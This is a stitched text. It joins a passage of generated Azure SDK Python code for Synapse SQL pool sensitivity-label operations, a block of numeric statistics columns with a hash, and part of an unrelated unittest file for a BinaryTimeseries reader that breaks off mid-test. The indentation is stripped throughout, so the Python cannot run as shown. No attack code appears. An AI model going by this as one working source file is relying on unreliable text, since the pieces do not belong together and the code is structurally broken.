:param workspace_name: The name of the workspace.
:type workspace_name: str
:param sql_pool_name: SQL pool name.
:type sql_pool_name: str
:param parameters:
:type parameters: ~azure.mgmt.synapse.models.SensitivityLabelUpdateList
:keyword callable cls: A custom type or function that will be passed the direct response
:return: None, or the result of cls(response)
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType[None]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
content_type = kwargs.pop('content_type', "application/json") # type: Optional[str]
_json = self._serialize.body(parameters, 'SensitivityLabelUpdateList')
request = build_update_request(
subscription_id=self._config.subscription_id,
resource_group_name=resource_group_name,
workspace_name=workspace_name,
sql_pool_name=sql_pool_name,
content_type=content_type,
json=_json,
template_url=self.update.metadata['url'],
)
request = _convert_request(request)
request.url = self._client.format_url(request.url)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
if cls:
return cls(pipeline_response, None, {})
update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/currentSensitivityLabels'} # type: ignore
@distributed_trace
def list_recommended(
self,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
include_disabled_recommendations: Optional[bool] = None,
skip_token: Optional[str] = None,
filter: Optional[str] = None,
**kwargs: Any
) -> Iterable["_models.SensitivityLabelListResult"]:
"""Gets sensitivity labels of a given SQL pool.
Gets sensitivity labels of a given SQL pool.
:param resource_group_name: The name of the resource group. The name is case insensitive.
:type resource_group_name: str
:param workspace_name: The name of the workspace.
:type workspace_name: str
:param sql_pool_name: SQL pool name.
:type sql_pool_name: str
:param include_disabled_recommendations: Specifies whether to include disabled recommendations
or not.
:type include_disabled_recommendations: bool
:param skip_token: An OData query option to indicate how many elements to skip in the
collection.
:type skip_token: str
:param filter: An OData filter expression that filters elements in the collection.
:type filter: str
:keyword callable cls: A custom type or function that will be passed the direct response
:return: An iterator like instance of either SensitivityLabelListResult or the result of
cls(response)
:rtype: ~azure.core.paging.ItemPaged[~azure.mgmt.synapse.models.SensitivityLabelListResult]
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType["_models.SensitivityLabelListResult"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
def prepare_request(next_link=None):
if not next_link:
request = build_list_recommended_request(
subscription_id=self._config.subscription_id,
resource_group_name=resource_group_name,
workspace_name=workspace_name,
sql_pool_name=sql_pool_name,
include_disabled_recommendations=include_disabled_recommendations,
skip_token=skip_token,
filter=filter,
template_url=self.list_recommended.metadata['url'],
)
request = _convert_request(request)
request.url = self._client.format_url(request.url)
else:
request = build_list_recommended_request(
subscription_id=self._config.subscription_id,
resource_group_name=resource_group_name,
workspace_name=workspace_name,
sql_pool_name=sql_pool_name,
include_disabled_recommendations=include_disabled_recommendations,
skip_token=skip_token,
filter=filter,
template_url=next_link,
)
request = _convert_request(request)
request.url = self._client.format_url(request.url)
request.method = "GET"
return request
def extract_data(pipeline_response):
deserialized = self._deserialize("SensitivityLabelListResult", pipeline_response)
list_of_elem = deserialized.value
if cls:
list_of_elem = cls(list_of_elem)
return deserialized.next_link or None, iter(list_of_elem)
def get_next(next_link=None):
request = prepare_request(next_link)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
return pipeline_response
return ItemPaged(
get_next, extract_data
)
list_recommended.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/recommendedSensitivityLabels'} # type: ignore
@distributed_trace
def create_or_update(
self,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
schema_name: str,
table_name: str,
column_name: str,
parameters: "_models.SensitivityLabel",
**kwargs: Any
) -> "_models.SensitivityLabel":
"""Creates or updates the sensitivity label of a given column in a Sql pool.
:param resource_group_name: The name of the resource group. The name is case insensitive.
:type resource_group_name: str
:param workspace_name: The name of the workspace.
:type workspace_name: str
:param sql_pool_name: SQL pool name.
:type sql_pool_name: str
:param schema_name: The name of the schema.
:type schema_name: str
:param table_name: The name of the table.
:type table_name: str
:param column_name: The name of the column.
:type column_name: str
:param parameters: The column sensitivity label resource.
:type parameters: ~azure.mgmt.synapse.models.SensitivityLabel
:keyword callable cls: A custom type or function that will be passed the direct response
:return: SensitivityLabel, or the result of cls(response)
:rtype: ~azure.mgmt.synapse.models.SensitivityLabel
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType["_models.SensitivityLabel"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
content_type = kwargs.pop('content_type', "application/json") # type: Optional[str]
_json = self._serialize.body(parameters, 'SensitivityLabel')
request = build_create_or_update_request(
subscription_id=self._config.subscription_id,
resource_group_name=resource_group_name,
workspace_name=workspace_name,
sql_pool_name=sql_pool_name,
schema_name=schema_name,
table_name=table_name,
column_name=column_name,
content_type=content_type,
json=_json,
template_url=self.create_or_update.metadata['url'],
)
request = _convert_request(request)
request.url = self._client.format_url(request.url)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200, 201]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
if response.status_code == 200:
deserialized = self._deserialize('SensitivityLabel', pipeline_response)
if response.status_code == 201:
deserialized = self._deserialize('SensitivityLabel', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
create_or_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/schemas/{schemaName}/tables/{tableName}/columns/{columnName}/sensitivityLabels/{sensitivityLabelSource}'} # type: ignore
@distributed_trace
def delete(
self,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
schema_name: str,
table_name: str,
column_name: str,
**kwargs: Any
) -> None:
"""Deletes the sensitivity label of a given column in a Sql pool.
:param resource_group_name: The name of the resource group. The name is case insensitive.
:type resource_group_name: str
:param workspace_name: The name of the workspace.
:type workspace_name: str
:param sql_pool_name: SQL pool name.
:type sql_pool_name: str
:param schema_name: The name of the schema.
:type schema_name: str
:param table_name: The name of the table.
:type table_name: str
:param column_name: The name of the column.
:type column_name: str
:keyword callable cls: A custom type or function that will be passed the direct response
:return: None, or the result of cls(response)
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType[None]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
request = build_delete_request(
subscription_id=self._config.subscription_id,
resource_group_name=resource_group_name,
workspace_name=workspace_name,
sql_pool_name=sql_pool_name,
schema_name=schema_name,
table_name=table_name,
column_name=column_name,
template_url=self.delete.metadata['url'],
)
request = _convert_request(request)
request.url = self._client.format_url(request.url)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200, 204]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
if cls:
return cls(pipeline_response, None, {})
delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/schemas/{schemaName}/tables/{tableName}/columns/{columnName}/sensitivityLabels/{sensitivityLabelSource}'} # type: ignore
@distributed_trace
def get(
self,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
schema_name: str,
table_name: str,
column_name: str,
sensitivity_label_source: Union[str, "_models.SensitivityLabelSource"],
**kwargs: Any
) -> "_models.SensitivityLabel":
"""Gets the sensitivity label of a given column.
:param resource_group_name: The name of the resource group. The name is case insensitive.
:type resource_group_name: str
:param workspace_name: The name of the workspace.
:type workspace_name: str
:param sql_pool_name: SQL pool name.
:type sql_pool_name: str
:param schema_name: The name of the schema.
:type schema_name: str
:param table_name: The name of the table.
:type table_name: str
:param column_name: The name of the column.
:type column_name: str
:param sensitivity_label_source: The source of the sensitivity label.
:type sensitivity_label_source: str or ~azure.mgmt.synapse.models.SensitivityLabelSource
:keyword callable cls: A custom type or function that will be passed the direct response
:return: SensitivityLabel, or the result of cls(response)
:rtype: ~azure.mgmt.synapse.models.SensitivityLabel
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType["_models.SensitivityLabel"]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
request = build_get_request(
subscription_id=self._config.subscription_id,
resource_group_name=resource_group_name,
workspace_name=workspace_name,
sql_pool_name=sql_pool_name,
schema_name=schema_name,
table_name=table_name,
column_name=column_name,
sensitivity_label_source=sensitivity_label_source,
template_url=self.get.metadata['url'],
)
request = _convert_request(request)
request.url = self._client.format_url(request.url)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
deserialized = self._deserialize('SensitivityLabel', pipeline_response)
if cls:
return cls(pipeline_response, deserialized, {})
return deserialized
get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/schemas/{schemaName}/tables/{tableName}/columns/{columnName}/sensitivityLabels/{sensitivityLabelSource}'} # type: ignore
@distributed_trace
def enable_recommendation(
self,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
schema_name: str,
table_name: str,
column_name: str,
**kwargs: Any
) -> None:
"""Enables sensitivity recommendations on a given column (recommendations are enabled by default
on all columns).
:param resource_group_name: The name of the resource group. The name is case insensitive.
:type resource_group_name: str
:param workspace_name: The name of the workspace.
:type workspace_name: str
:param sql_pool_name: SQL pool name.
:type sql_pool_name: str
:param schema_name: The name of the schema.
:type schema_name: str
:param table_name: The name of the table.
:type table_name: str
:param column_name: The name of the column.
:type column_name: str
:keyword callable cls: A custom type or function that will be passed the direct response
:return: None, or the result of cls(response)
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType[None]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
request = build_enable_recommendation_request(
subscription_id=self._config.subscription_id,
resource_group_name=resource_group_name,
workspace_name=workspace_name,
sql_pool_name=sql_pool_name,
schema_name=schema_name,
table_name=table_name,
column_name=column_name,
template_url=self.enable_recommendation.metadata['url'],
)
request = _convert_request(request)
request.url = self._client.format_url(request.url)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
if cls:
return cls(pipeline_response, None, {})
enable_recommendation.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/schemas/{schemaName}/tables/{tableName}/columns/{columnName}/sensitivityLabels/{sensitivityLabelSource}/enable'} # type: ignore
@distributed_trace
def disable_recommendation(
self,
resource_group_name: str,
workspace_name: str,
sql_pool_name: str,
schema_name: str,
table_name: str,
column_name: str,
**kwargs: Any
) -> None:
"""Disables sensitivity recommendations on a given column.
:param resource_group_name: The name of the resource group. The name is case insensitive.
:type resource_group_name: str
:param workspace_name: The name of the workspace.
:type workspace_name: str
:param sql_pool_name: SQL pool name.
:type sql_pool_name: str
:param schema_name: The name of the schema.
:type schema_name: str
:param table_name: The name of the table.
:type table_name: str
:param column_name: The name of the column.
:type column_name: str
:keyword callable cls: A custom type or function that will be passed the direct response
:return: None, or the result of cls(response)
:rtype: None
:raises: ~azure.core.exceptions.HttpResponseError
"""
cls = kwargs.pop('cls', None) # type: ClsType[None]
error_map = {
401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError
}
error_map.update(kwargs.pop('error_map', {}))
request = build_disable_recommendation_request(
subscription_id=self._config.subscription_id,
resource_group_name=resource_group_name,
workspace_name=workspace_name,
sql_pool_name=sql_pool_name,
schema_name=schema_name,
table_name=table_name,
column_name=column_name,
template_url=self.disable_recommendation.metadata['url'],
)
request = _convert_request(request)
request.url = self._client.format_url(request.url)
pipeline_response = self._client._pipeline.run(request, stream=False, **kwargs)
response = pipeline_response.http_response
if response.status_code not in [200]:
map_error(status_code=response.status_code, response=response, error_map=error_map)
raise HttpResponseError(response=response, error_format=ARMErrorFormat)
if cls:
return cls(pipeline_response, None, {})
disable_recommendation.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Synapse/workspaces/{workspaceName}/sqlPools/{sqlPoolName}/schemas/{schemaName}/tables/{tableName}/columns/{columnName}/sensitivityLabels/{sensitivityLabelSource}/disable'} # type: ignore
| 43.568228
| 321
| 0.675556
| 4,635
| 42,784
| 5.980583
| 0.062136
| 0.039394
| 0.030159
| 0.019481
| 0.899279
| 0.890945
| 0.879509
| 0.874639
| 0.870671
| 0.869372
| 0
| 0.006171
| 0.223518
| 42,784
| 981
| 322
| 43.61264
| 0.828241
| 0.198789
| 0
| 0.816794
| 0
| 0.024427
| 0.199394
| 0.125276
| 0
| 0
| 0
| 0
| 0
| 1
| 0.035115
| false
| 0
| 0.019847
| 0
| 0.094656
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
25cd3bf6fa141edf76e5ac064af204e9e80a5d72
| 74,407
|
py
|
Python
|
BinaryTimeseries/GeneratedApiTests.py
|
jonathanschilling/BinaryTimeseries
|
e8d6009f36699e22e61100f86a059b49c3a659e6
|
[
"Apache-2.0"
] | 1
|
2020-03-20T23:35:50.000Z
|
2020-03-20T23:35:50.000Z
|
BinaryTimeseries/GeneratedApiTests.py
|
jonathanschilling/BinaryTimeseries
|
e8d6009f36699e22e61100f86a059b49c3a659e6
|
[
"Apache-2.0"
] | 1
|
2021-03-29T14:33:07.000Z
|
2021-03-29T14:33:07.000Z
|
BinaryTimeseries/GeneratedApiTests.py
|
jonathanschilling/BinaryTimeseries
|
e8d6009f36699e22e61100f86a059b49c3a659e6
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
import unittest
import numpy as np
from BinaryTimeseries import BinaryTimeseries
o = 1.2
s = 24.3
class GeneratedApiTests(unittest.TestCase):
def test_read_L_N_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
with BinaryTimeseries('../src/test/resources/L_N_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 0)
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
def test_read_L_N_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
with BinaryTimeseries('../src/test/resources/L_N_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 0)
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
def test_read_L_N_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
with BinaryTimeseries('../src/test/resources/L_N_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 0)
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
def test_read_L_N_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
with BinaryTimeseries('../src/test/resources/L_N_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 0)
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
def test_read_L_N_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
with BinaryTimeseries('../src/test/resources/L_N_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 0)
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
def test_read_L_N_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
with BinaryTimeseries('../src/test/resources/L_N_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 0)
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
def test_read_L_B_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int8(s), dtype=np.int64), np.int8(o))
with BinaryTimeseries('../src/test/resources/L_B_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 1)
self.assertEqual(bts.get_offset(), np.int8(1.2))
self.assertEqual(bts.get_scale(), np.int8(24.3))
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_B_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int8(s), dtype=np.int64), np.int8(o))
with BinaryTimeseries('../src/test/resources/L_B_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 1)
self.assertEqual(bts.get_offset(), np.int8(1.2))
self.assertEqual(bts.get_scale(), np.int8(24.3))
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_B_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int8(s), dtype=np.int64), np.int8(o))
with BinaryTimeseries('../src/test/resources/L_B_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 1)
self.assertEqual(bts.get_offset(), np.int8(1.2))
self.assertEqual(bts.get_scale(), np.int8(24.3))
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_B_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int8(s), dtype=np.int64), np.int8(o))
with BinaryTimeseries('../src/test/resources/L_B_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 1)
self.assertEqual(bts.get_offset(), np.int8(1.2))
self.assertEqual(bts.get_scale(), np.int8(24.3))
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_B_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int8(s), dtype=np.float64), np.int8(o))
with BinaryTimeseries('../src/test/resources/L_B_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 1)
self.assertEqual(bts.get_offset(), np.int8(1.2))
self.assertEqual(bts.get_scale(), np.int8(24.3))
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_B_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int8(s), dtype=np.float64), np.int8(o))
with BinaryTimeseries('../src/test/resources/L_B_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 1)
self.assertEqual(bts.get_offset(), np.int8(1.2))
self.assertEqual(bts.get_scale(), np.int8(24.3))
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_S_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int16(s), dtype=np.int64), np.int16(o))
with BinaryTimeseries('../src/test/resources/L_S_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 2)
self.assertEqual(bts.get_offset(), np.int16(1.2))
self.assertEqual(bts.get_scale(), np.int16(24.3))
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_S_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int16(s), dtype=np.int64), np.int16(o))
with BinaryTimeseries('../src/test/resources/L_S_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 2)
self.assertEqual(bts.get_offset(), np.int16(1.2))
self.assertEqual(bts.get_scale(), np.int16(24.3))
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_S_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int16(s), dtype=np.int64), np.int16(o))
with BinaryTimeseries('../src/test/resources/L_S_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 2)
self.assertEqual(bts.get_offset(), np.int16(1.2))
self.assertEqual(bts.get_scale(), np.int16(24.3))
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_S_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int16(s), dtype=np.int64), np.int16(o))
with BinaryTimeseries('../src/test/resources/L_S_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 2)
self.assertEqual(bts.get_offset(), np.int16(1.2))
self.assertEqual(bts.get_scale(), np.int16(24.3))
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_S_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int16(s), dtype=np.float64), np.int16(o))
with BinaryTimeseries('../src/test/resources/L_S_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 2)
self.assertEqual(bts.get_offset(), np.int16(1.2))
self.assertEqual(bts.get_scale(), np.int16(24.3))
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_S_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int16(s), dtype=np.float64), np.int16(o))
with BinaryTimeseries('../src/test/resources/L_S_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 2)
self.assertEqual(bts.get_offset(), np.int16(1.2))
self.assertEqual(bts.get_scale(), np.int16(24.3))
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_I_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int32(s), dtype=np.int64), np.int32(o))
with BinaryTimeseries('../src/test/resources/L_I_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 3)
self.assertEqual(bts.get_offset(), np.int32(1.2))
self.assertEqual(bts.get_scale(), np.int32(24.3))
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_I_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int32(s), dtype=np.int64), np.int32(o))
